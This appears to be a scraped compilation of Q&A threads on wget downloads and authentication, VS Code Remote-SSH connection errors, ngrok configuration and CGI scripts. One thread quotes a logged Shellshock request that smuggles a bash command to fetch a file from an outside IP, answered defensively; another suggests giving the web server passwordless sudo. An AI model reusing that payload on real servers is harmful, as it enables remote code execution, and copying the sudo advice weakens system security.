Using wget to download a ZIP file - ssh

I'm having trouble using wget for my Debian 7.0 VPS server hosted by OVH.
I'm trying to download a ZIP file from MediaFire, and when I connected via SSH I typed,
wget http://download1472.mediafire.com/5ndlsskkyfmg/dgx7zbbdbxawbwd/Vhalar-GGJ16.zip
Then, this is my output,
--2016-03-07 20:17:52-- http://download1472.mediafire.com/5ndlsskkyfmg/dgx7zbbd bxawbwd/Vhalar-GGJ16.zip
Resolving download1472.mediafire.com (download1472.mediafire.com)... 205.196.123 .160
Connecting to download1472.mediafire.com (download1472.mediafire.com)|205.196.12 3.160|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://www.mediafire.com/?dgx7zbbdbxawbwd [following]
--2016-03-07 20:17:52-- http://www.mediafire.com/?dgx7zbbdbxawbwd
Resolving www.mediafire.com (www.mediafire.com)... 205.196.120.6, 205.196.120.8
Connecting to www.mediafire.com (www.mediafire.com)|205.196.120.6|:80... connect ed.
HTTP request sent, awaiting response... 301
Location: /download/dgx7zbbdbxawbwd/Vhalar-GGJ16.zip [following]
--2016-03-07 20:17:52-- http://www.mediafire.com/download/dgx7zbbdbxawbwd/Vhala r-GGJ16.zip
Connecting to www.mediafire.com (www.mediafire.com)|205.196.120.6|:80... connect ed.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `Vhalar-GGJ16.zip'
[ <=> ] 94,265 440K/s in 0.2s
2016-03-07 20:17:52 (440 KB/s) - `Vhalar-GGJ16.zip' saved [94265]
The download took less than 1 second, and it's a 280MB zip file. Also, it seems to say "440 KB/s", and that math just doesn't add up.
I'm confused as to why I can't download this zip file to my server via SSH, instead of downloading it to my computer, then re-uploading it to the server.
Does anyone see a flaw I'm making in my command?

What you're doing when you're using wget to download that zip file is just downloading the html page that the zip file sits on. You can see this because if you redo the command to output to an html file like such:
wget http://download1472.mediafire.com/5ndlsskkyfmg/dgx7zbbdbxawbwd/Vhalar-GGJ16.html
and open it in the web browser of your choice, you'll get the fancy html page of that link with the mediafire download button on it.
This is entirely because mediafire wants you to verify that you're human with a captcha before you can download it. Try doing the captcha and then issuing the command:
wget http://download1472.mediafire.com/gxnd316uacsg/dgx7zbbdbxawbwd/Vhalar-GGJ16.zip
It will work.
If you have not completed the captcha on whatever computer you're trying to download it from, you need to. This is what the captcha originally looks like. Once you finish it and click "Authorize Download" you'll have free reign to wget the file from the server.
If all else fails, download it originally on your computer and use the scp command to transfer it over.

Look at the contents of the 94kb file that you downloaded in something like vi. Odds are it's not a zip file, but a html file, telling you what went wrong, and what you need to do to download the file.
A browser would have known this (the mime type would tell it that it is being served HTML, and it would display it to you rather than download it).
It is likely that this is a measure by Mediafire to prevent automated downloads of their files. It's possible that spoofing the user-agent header might help, but unlikely.

Just one tip for anyone working with wget to download a file, but the URL has a proxy string at the end after the file name (eg.?This_is_a_query_string_sample_&_123545_& ) i.e. the URL is of the form:
http://download1472.mediafire.com/5ndlsskkyfmg/dgx7zbbdbxawbwd/Vhalar-GGJ16.html?This_is_a_query_string_sample_&_123545_&
In this case always use double quotes while using wget (since & has a special meaning in shell environments)
wget "http://download1472.mediafire.com/5ndlsskkyfmg/dgx7zbbdbxawbwd/Vhalar-GGJ16.html?This_is_a_query_string_sample_&_123545_&"

You can also download the zip file specifying a new name to that file with the wget option -O.
wget -O new_name_for_the_file.zip <url-address.zip>

Related

VScode remote connection error: The process tried to write to a nonexistent pipe

I use vscode with remote-ssh to connect my server, after configuring, I want to connect my host, but it failed, the dialog box display:"could not establish connection to XX, The process tried to write to a nonexistent pipe."
output:
[16:45:20.916] Log Level: 3
[16:45:20.936] remote-ssh#0.49.0
[16:45:20.936] win32 x64
[16:45:20.944] SSH Resolver called for "ssh-remote+aliyun", attempt 1
[16:45:20.945] SSH Resolver called for host: aliyun
[16:45:20.945] Setting up SSH remote "aliyun"
[16:45:21.012] Using commit id "c47d83b293181d9be64f27ff093689e8e7aed054" and quality "stable" for server
[16:45:21.014] Install and start server if needed
[16:45:21.019] Checking ssh with "ssh -V"
[16:45:21.144] > OpenSSH_for_Windows_7.7p1, LibreSSL 2.6.5
[16:45:21.214] Running script with connection command: ssh -T -D 5023 aliyun bash
[16:45:21.221] Terminal shell path: C:\WINDOWS\System32\cmd.exe
[16:45:21.504] >
>
>
> ]0;C:\WINDOWS\System32\cmd.exe
[16:45:21.505] Got some output, clearing connection timeout
[16:45:21.577] >
>
>
>
[16:45:21.592] > Bad owner or permissions on C:\\Users\\DY/.ssh/config
>
[16:45:21.689] > The process tried to write to a nonexistent pipe.
>
[16:45:22.091] "install" terminal command done
[16:45:22.092] Install terminal quit with output: The process tried to write to a nonexistent pipe.
[16:45:22.093] Received install output: The process tried to write to a nonexistent pipe.
[16:45:22.096] Resolver error: The process tried to write to a nonexistent pipe
[16:45:22.107] ------
Add the absolute file path to a custom SSH config file(C:\Users\{USERNAME}\.ssh\config), and my problem is solved.
If you format/re-install Server OS, but use same IP as before,
you may encounter fingerprint mismatched.
You may need to delete old fingerprint in this file:
C:\Users\xxx.ssh\known_host
and old IP in the file:
C:\Users\xxx.ssh\config
Then try to add host again.
What worked for me:
delete ssh config folder both in C:\Program Data\ssh and C:\<user>\.ssh
In VS Code, press F1, choose Remote-SSH: Connect to Host...
Do NOT enter anything in the prompt, but instead choose + Add New SSH Host..
Enter the full ssh command, including the key (in case of Windows,
you may want to enclose the path with double quote mark) ssh -i "C:\path\to\key" user#host. (you need to make sure the key has a limited permission. Remove all inherited permissions, and only give a full control to the owner.)
You will be asked to choose a folder in which a new config file will be created. Choose any of the two options.
There will a prompt notifying that the new config file
has been created. Click connect
At least three things may be happening:
Option 1
The location of your config file is not the absolute location, meaning you are probably using the location of the folder where the config file is.
If that is the case, access your User Settings in VSCode. Scroll to the Extensions>Remote - SSH. And add config at the end of the absolute file path of your custom SSH config file. In Windows, it can be
C:\Users\user\.ssh\config
See image below
Option 2
Authentication problems.
If that is the case, one of the things that may solve is generating new SSH keys.
In Windows, for that, I recommend using MobaXterm.
In MobaXterm, open a new terminal and write
ssh-keygen -b 4096 -t rsa
Then, in the config file, make sure that the IdentityFile points to the location of the key. MobaXterm's home directory, usually, is C:\Users\user\Documents\MobaXterm. If it makes it easy, one can copy/move the keys to C:\Users\user\.ssh and then just add, in the config file, IdentityFile ~/.ssh/KEY_rsa (where KEY_rsa is the name of the [public] key).
Note that if you use PuTTY to generate the keys, on the server OpenSSH authorized_keys file, one doesn't want the public key that one saves, but the one that appears on top (see image bellow):
Option 3
Your config file may be wrong.
The config file tends to look as follows. Double check if the fields have the information needed for the connection to be established.
Host Test # This is the name we want to give the host
User user # This is the username
Hostname blabla.com # This is the hostname
PreferredAuthentications publickey
IdentityFile ~/.ssh/KEY_rsa # This is the location of the key
IdentitiesOnly yes
Port 50 # This varies
What worked for me was to delete all of the contents of folder: C:\Users\MYNAME.ssh That meant to delete both the config file and known-hosts. The config was probably the most important one to delete.
The solution in my case was editing the json settings file for VSC as shown here: https://code.visualstudio.com/docs/remote/troubleshooting#_troubleshooting-hanging-or-failing-connections
In VSC go to File, Preferences, Setting and click on the upper right hand icon (Open Settings, JSON). Add these two lines to settings.json and retry connecting:
"remote.SSH.showLoginTerminal": true,
"remote.SSH.useLocalServer": false
In my case I had another setup:
Git bash in Windows was configured and I am using the ssh.exe provided by this tool
In the "Remote SSH" extension in VSCode, I specified the full path of this ssh.exe
I am using multiple servers (with ProxyJump)
The error message is the same as the OP but in the logs it was written that the ssh config file was not found, where all the folder names was concatenated (because it did not recognize the windows path separator)
Problem: the ssh.exe is using a different path convention thant VSCode. ssh.exe is using the "/c/Users/..." pattern and VSCode is using the "C:\Users..." pattern.
Solution:
Make sure the SSH config is at a standard place (C:\Users\LOGIN\.ssh\config)
Remove the absolute path of the config file in the "Remote SSH" settings in VSCode
VSCode will still be able to access the settings using the standard path, and the ssh.exe configuration will still look at the same standard path so the connexion is working.
Note:
I have the error only when connecting with multiple ssh servers (using ProxyJump). When connecting only to the first server, the solution of #pszrux and this one are both working for me.
This is probably something everyone has tried before looking here, but it worked for me. The server I was trying to ssh into was not responding, leading to the nonexistant pipe error. I rebooted the server and everything worked fine.
OS: windows 10
In my case there were permission issues. Repeatedly changing inheritance in windows did not solve the issue. Finally this worked
change the folder in which the config file is stored.
From C:/users/usr/.ssh/config to D:/config
and changed the config path in vscode remote ssh settings.
This worked for me.
This seems to be a problem with varied causes and corresponding remedies. In my case the problem had to do with the version of ssh I was using. In my Windows path there were two places were an instance of ssh.exe resided:
C:\Program Files (x86)\OpenSSH\bin
C:\WINDOWS\System32\OpenSSH\
After using both paths to set the "Remote.SSH: Path" parameter (which is in "Remote.SSH: Settings" [see here]), i.e. first C:\Program Files (x86)\OpenSSH\bin\ssh.exe and then C:\WINDOWS\System32\OpenSSH\ssh.exe, the problem still persisted.
Then I looked at this and tried the git-provided ssh.exe, which I already had on my system (otherwise, just install git, it's good stuff anyway :) )
Setting the SSH path parameter with that version did the trick for me, i.e. setting path to:
C:\Program Files\Git\usr\bin\ssh.exe
In my case, I did what dalilander said, but instead of deleting the entire '.ssh' folder, I just needed to delete the file 'known_hosts' and then it worked. So the servers I had saved were not deleted.
The path of that folder is C:\Users\yourUsername\.ssh
For Windows:
Adding the escape character before the private key file name & using quotes around the path solved my issue.
//config file
Host 12.12.12.12
HostName 12.12.12.12
IdentityFile "C:\Users\USERNAME/\PRIVATEKEY" <----Note /\
User username
Trying to add the full path in "IdentityFile" made the trick
" IdentityFile C:\Users\xxx.ssh\xxx"
The solution below may be the last resort but it perfectly solved the issue for me in a Windows 10 local machine. I simply delete the known_hosts file under the directory C:\Users\[your-username]\.ssh, relaunch VS Code and reconnect the remote server through Remote Explorer. Everything works normally afterward.
This seems to be a general error when the ssh connection fails for one of a multitude of reasons.
Adding what my issue was, and what helped, because I don't see it in the other answers in here: I had re-installed the box I was connecting to, and with it, reset the key it was using to authenticate. The ssh process tried to connect and failed with the usual "someone might be MITMing you this very moment, the identification changed" error, visible in the VSCode terminal. Solution was to go to my authorized_keys file and remove the offending key.
Obviously only know that if you know for sure why the identification changed, and that it's harmless. Don't actually get MITMed.
I had this problem once.
All you need to do is,
Go to /Users/XXX/.ssh
if you are on the windows, use command : "del /f known_hosts" to delete the known_hosts on the command prompt.
3.Then go to C:\Users\XXX.ssh\config on the vs code( config file )
4.Delete the host and the user if the host that you are trying to connect to is already there.
5.Then try to connect to the new host as usual.This will work.
The problem here could the mismatch of the finger prints once you reinstall the OS o n your host machine.
So to solve this problem by deleting the host that was saved.
once the config file on the vs code is edited it should look like..below picture is to show how the config file should look(after deleting the host saved)
If you're using WSL and might think that you should update ~/.ssh/config, that might not be the case.
Copy the content from ~/.ssh/config
Append it to C:\User\xxx\.ssh\config windows file
Make sure the public/private key is on C:\User\xxx\.ssh\ and is listed in config
Reconnect
Had an existing(working) configuration and had the same error when I added a new one. What worked for me is instead of just adding a new host configuration, I also commented out the first working config. Didn't know what happened but it worked.
In my case this was an offending key in my known_hosts in Windows (vscode on windows, remote developing via ssh on linux).
The error that comes back in vscode is not explaining in any way.
In my case, the path to key file was wrong.
For me, (windows) the permissions on the .pem file were the Critical issue. I had Administrator group only on the pem file and it was not working. I had to explicitly add the Admin user as well (even though admin is of course in administrator group).
In my case, I had no internet connection.
I was connecting to the server via VPN but the remote configuration was incorrect and I couldn't access the server. (DNS related issues) The connection indicator was showing no errors, so I didn't think of that at first.
Oops :)
I really didn't want to delete my C:Users\valo\.ssh\config, so I played a little with the various entries. It turned out that for me the option IdentitiesOnly yes was the problem. I also disabled security inheritance on all key files in the .ssh folder and left only myself, with Full Rights. Here is what my C:Users\valo\.ssh\config looks like now:
CanonicalizeHostname yes
Host aws.r3
HostName 3.31.45.216
ForwardAgent yes
User ubuntu
IdentityFile C:Users\valo\.ssh\u1-client-20210203-090555.pem
# IdentitiesOnly yes # VSCode Remote doesn't like this flag...?
Host github
HostName github.com
User git
IdentityFile ~/.ssh/id_val_ed25519
Host github.vm
HostName github.com
User git
IdentityFile ~/.ssh/id_valo_ed25519
Host *
ForwardAgent yes
AddKeysToAgent yes
LogLevel FATAL
ChallengeResponseAuthentication no
Now I can connect to aws.r3 with VSCode Remote.
A possible solution:
First run cat $HOME/.ssh/id_rsa.pub on your computer. That will get you a key. Save this key somewhere.
Then open this file by running vim $HOME/.ssh/authorized_keys on the computer that you're are ssh'ing to. Then copy the key in a new line of this file and close it by typing :wq.
You are all set.
In my case it was because the name I gave the host in config was myuser#myhostname. So if your config file looks like this:
Host myuser#myhostname
HostName 12.64.88.234
User myuser
Port 22
Try changing it to this:
Host myuser
HostName 12.64.88.234
User myuser
Port 22
Mine was solved by adding ".pem" extension while specifying the private key.
Here's the sample config text for reference.
Host ec2-3-234-8-176.compute-1.amazonaws.com
HostName ec2-3-234-8-176.compute-1.amazonaws.com
IdentityFile ~/.ssh/privatekey.pem
User username
There can be several reasons that have nothing to do with the accepted answer. For me:
Ubuntu 14.04.1 LTS didn't seem to work
Issues with EC2 auth, see pem file config and pem file permissions
And for yet another seeming cause/solution:
Adding the config path explicitly to settings only caused an EISDIR error.
Removing the listing from known_hosts made it need to confirm the fingerprint, but it didn't provide a way to do that. I could see it trying in the terminal output.
The solution a coworker recommended was to delete the vscode-server files from the server. That was the key step in my case. But...
Connecting to the server using another client, I attempted to rm -rf ~/.vscode-server. I could not delete many of the files because "device or resource busy".
That eventually required doing the following:
fuser ~/.vscode-server/[one of the child files ...]. But, you can probably skip this, because mainly I needed to know what to search for. Plus, fuser and lsof were finicky about returning results -- they often just sit waiting for something, I don't know what.
ps -e | grep node since node is the running process using vscode-server files.
For each PID in the list of node processes from step 2, run ps -o user= -p PID, substituting PID with each process PID in turn. This creates a formatted list of the process's associated user.
This is to determine which node processes you own, so you're not even trying to kill anybody else's.
Starting with the lowest node PID I own, run kill -9 PID. You won't need to run this for all PIDs, because killing a lower PID killed a child PID after a few seconds. So keep checking which node processes still exist after killing one: ps -e | grep node
Finally, once all mine are killed, I can rm -rf ~/.vscode-server
Then, I was able to connect via ssh in VS Code again. And, since I left the fingerprint removed from known_hosts, it even asked to confirm the connection to the server (up top, in the command prompt).
Also, for reference, I left the remote-ssh: settings config file entry, mentioned in other solutions, blank.
For reference or further explanation of certain steps above (I don't intend to elaborate more than I did):
rm: cannot remove ‘.vscode-server/bin/xxxxxx/.nfs000000000xxxxxxxxxxxx’: Device or resource busy
How find out which process is using a file in Linux?
https://unix.stackexchange.com/questions/284934/return-owner-of-process-given-pid/284938
In my case it worked when I added the port in my expression, eg ssh user#host-or-ip -p 22. With '22' the default port number, but you can check which port the ssh system is listening on with the sudo service ssh status command.
WSL Related
In my case, the issue was that my keys were set up on Ubuntu on WSL and VS Code was looking for them in Windows. I copied the keys over from the WSL side to Windows and voila! Worked like a charm!
Steps that I took.
Navigated to the /home//.ssh folder in WSL and then entered explorer.exe .
From there, I copied the id_rsa and id_rsa.pub files and pasted them in the windows side, under C:\Users<username>.ssh
Then I tried connecting again from VS Code and it worked perfectly.

Q: Ngrok configure file not found

I want to open 2 ports by ngrok. first I started ngrok HTTP 80 worked ok. but when I try to open another ngrok TCP 443 the result
Tunnel session failed:
Your account 'USERNAME' is limited to 1 simultaneous ngrok client
session. Active ngrok client sessions in region 'us':
- 806d84d5e153ff13136eddee04de8157 (x.x.x.x)
ERR_NGROK_108
I found one solution but I don't know to configure ngrok.yml for the tunnel .
I couldn't find the file ...help me please
An ngrok account is limited in how many agents it can simultaneously run. This limit is listed for each plan as "online ngrok processes" on the pricing page. This error indicates you've exceeded that limit.
https://ngrok.com/docs/errors/err_ngrok_108
You may need to upgrade your plan, or email support#ngrok.com.
I had a simmilar problem, and:
ngrok config upgrade
Worked for me
In GUI Files:
Open Home Folder
Press Ctl + H
In search box type "ngrok"
directory will apear in first place
double click on .ngrok2
In Ternminal:
cd home
cd user
ls -a
cd .ngrok2
emacs ngrok.yml
It would help to confirm that you have created an account first. Once you have an account you would be given an authtoken running this command
./ngrok authtoken <your-auth-toke>
or
ngrok authtoken <your-auth-toke>
would create both the .ngrock2 folder and the config file.
This is what worked for me.

How can one prevent Apache executing the request line as a bash command?

I'm running several virtual hosts on Apache 2.2.22 and just noticed a rather alarming incident in the logs where a "security scanner" from Iceland was able to wget a file into a cgi-bin directory with the following http request line:
() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\"
It effectively downloaded the file in question.
Could any one explain how this request manages to actually execute the bash command ?
Naturally, the cgi-bin shouldn't be writable, but it would still be helpful to understand how this type of exploit functions and if there isn't some way to change the Apache configuration parameters so that request commands are never executed ...
This may be unrelated, but several hours later, there has begun a stream of strange requests from the internal interface, occurring every 2 seconds:
host: ":443" request: "NICK netply" source ip: 127.0.0.1
This is a vulnerability in bash which is exposed via Apache referred to as the "Shellshock" or "bash bug" and allows an attacker to execute arbitrary commands both locally and remotely making it a very serious vulnerability.
You need to update bash, but you are showing signs of an already compromised system. For more information on shellshock including detection and fixing, see:
digitalocean.com
shellshocker.net

How can I play a wav sound on the server side using cgi?

How can I run a command from a (bash) CGI script to play a wav sound on the server side?
You can execute your command line audio player as described by nak, but this may not work due to the permissions of the user running Apache. By default Apache is run as www-data:www-data (or apache:apache or www:www on some distros). As a quick fix/test you can set Apache to run as a user that has permissions to access the audio device on the machine by modifying your /etc/apache2/apache2.conf (or /etc/httpd/httpd.conf") file to have:
User USER_THAT_CAN_PLAY_AUDIO
Group USER_THAT_CAN_PLAY_AUDIO
Warning: this is not secure and is not intended to be a permanent solution!
This is how I would do it
#!/bin/sh
echo Content-type: text/plain
echo ""
echo "Server is playing sine.wav!"
aplay -q sine.wav
I stumbled over this old question looking how to solve the same problem: to have my personal Apache webserver warning me when someone makes a specific request (in my case a call for chat without the need to have any IM running).
The solution below is what I use on Slackware 14.1: according to your distro YMMV.
launch visudo
add the line TheUserRunningApache ALL=(ALL) NOPASSWD: /usr/bin/play (TheUserRunningApache is the user name used by your Apache)
In the PHP page you want to play a sound add this line: system ("sudo /usr/bin/play SOUND.WAV");
If you don't want to give access to Apache to the /usr/bin folder, even if limited just to play, you can copy the sox executable (the program used to run /usr/bin/play) elsewhere, but you'll have to modify the last two instructions above accordingly.

Why isn't wget accepting my username/password?

I've tried both
wget --user=myuser --password=mypassword myfile
and
wget --ftp-user=myuser --ftp-password=mypassword myfile
but I keep getting the error
HTTP request sent, awaiting response... 401 Authorization Required
Authorization failed.
I know the file is there, and I know the username/password are correct - I can ftp in with no problem. Any thoughts on what's going on here? How do I even tell if wget is paying attention to the username/password that I'm giving it? (The error is the same if I simply don't provide that info.)
try wget --http-user=username --http-password=password http://....
Are you using an "ftp://" URL? From the error message it appears that you're making a request for an "http://" URL.
One more comment:
Setting --user and --password sets the user/pw for both ftp and http requests, so that's more general.
In my case, nothing worked, except using --ask-password
I was using a https URL.
it might be useful to add that if you need to add a domain name before that the backslash must be escaped i.e. "\" is preceded with another "\" e.g. "domain\\username" similarly if the password has any chars that requires escaping (i supposed, havn't tested it).
wget --http-user=domain\\\username --http-password=password http://...